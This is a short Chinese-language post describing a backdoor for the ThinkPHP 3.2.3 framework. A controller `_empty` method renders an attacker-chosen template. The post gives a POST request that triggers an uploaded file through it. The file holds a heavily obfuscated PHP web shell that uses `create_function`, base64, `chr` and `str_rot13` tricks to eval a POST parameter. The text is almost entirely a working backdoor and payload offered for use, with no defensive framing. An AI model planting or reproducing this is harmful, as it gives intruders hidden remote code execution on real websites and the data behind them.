TP3.2.3框架空操作后门

空操作
空操作是指系统在找不到请求的操作方法的时候，会定位到当前控制器的空操作（ _empty ）方法来执行。

    /**
     * 拦截空方法 自动加载html
     * @param  string $methed_name 空方法
     */
    public function _empty($methed_name){
        $this->display($methed_name);
        exit(0);
    }

使用方法

POST /index.php?m=home&c=vue&a=Uploads/xxxxxxx.html

上传到服务器的html内容：

<?php $GMFw=create_function(base64_decode('JA==').chr(44850/390).str_rot13('b').base64_decode('bQ==').chr(0x179f6/0x3be),base64_decode('ZQ==').base64_decode('dg==').base64_decode('YQ==').str_rot13('y').chr(0x7f30/0x32e).str_rot13('$').chr(249-134).chr(0275030/01550).chr(01600-01423).str_rot13('r').str_rot13(')').chr(064616/0712));$GMFw(base64_decode('Mzg3M'.'zQ1O0'.'BldkF'.'sKCRf'.''.str_rot13('H').chr(0x9df2/0x24a).base64_decode('OQ==').base64_decode('VA==').str_rot13('I').''.''.base64_decode('Rg==').chr(64032/552).base64_decode('NA==').str_rot13('r').chr(01140-01030).''.'h4eHh'.'4XSk7'.'MTE2M'.'jAzNT'.'s='.''));?>